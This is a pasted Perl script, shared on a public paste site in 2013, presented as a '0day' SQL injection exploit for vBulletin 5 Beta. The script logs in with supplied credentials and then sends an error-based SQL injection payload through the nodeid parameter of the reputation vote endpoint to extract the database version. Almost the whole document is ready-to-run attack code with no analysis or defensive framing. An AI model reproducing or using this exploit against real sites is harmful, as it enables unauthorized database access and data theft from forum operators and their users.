vBulletin 5 Beta XX SQLi 0day exploit


SUBMITTED BY: Guest

DATE: March 25, 2013, 8:17 a.m.

FORMAT: Perl

SIZE: 2.2 kB

HITS: 1239

  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Cookies;
  4. use HTTP::Request::Common;
  5. use MIME::Base64;
  6. system $^O eq 'MSWin32' ? 'cls' : 'clear';
  7. print "
  8. +===================================================+
  9. | vBulletin 5 Beta XX SQLi 0day |
  10. | Author: Orestis Kourides |
  11. | Web Site: www.cyitsec.net |
  12. +===================================================+
  13. ";
  14. if (@ARGV != 5) {
  15. print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
  16. exit;
  17. }
  18. $host = $ARGV[0];
  19. $path = $ARGV[1];
  20. $username = $ARGV[2];
  21. $password = $ARGV[3];
  22. $magicnum = $ARGV[4];
  23. $encpath = encode_base64('http://'.$host.$path);
  24. print "[+] Logging\n";
  25. print "[+] Username: ".$username."\n";
  26. print "[+] Password: ".$password."\n";
  27. print "[+] MagicNum: ".$magicnum."\n";
  28. print "[+] " .$host.$path."auth/login\n";
  29. my $browser = LWP::UserAgent->new;
  30. my $cookie_jar = HTTP::Cookies->new;
  31. my $response = $browser->post( 'http://'.$host.$path.'auth/login',
  32. [
  33. 'url' => $encpath,
  34. 'username' => $username,
  35. 'password' => $password,
  36. ],
  37. Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
  38. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  39. );
  40. $browser->cookie_jar( $cookie_jar );
  41. my $browser = LWP::UserAgent->new;
  42. $browser->cookie_jar( $cookie_jar );
  43. print "[+] Requesting\n";
  44. my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
  45. [
  46. 'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
  47. ],
  48. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  49. );
  50. $data = $response->content;
  51. if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
  52. print "\n";
  53. exit 1;

comments powered by Disqus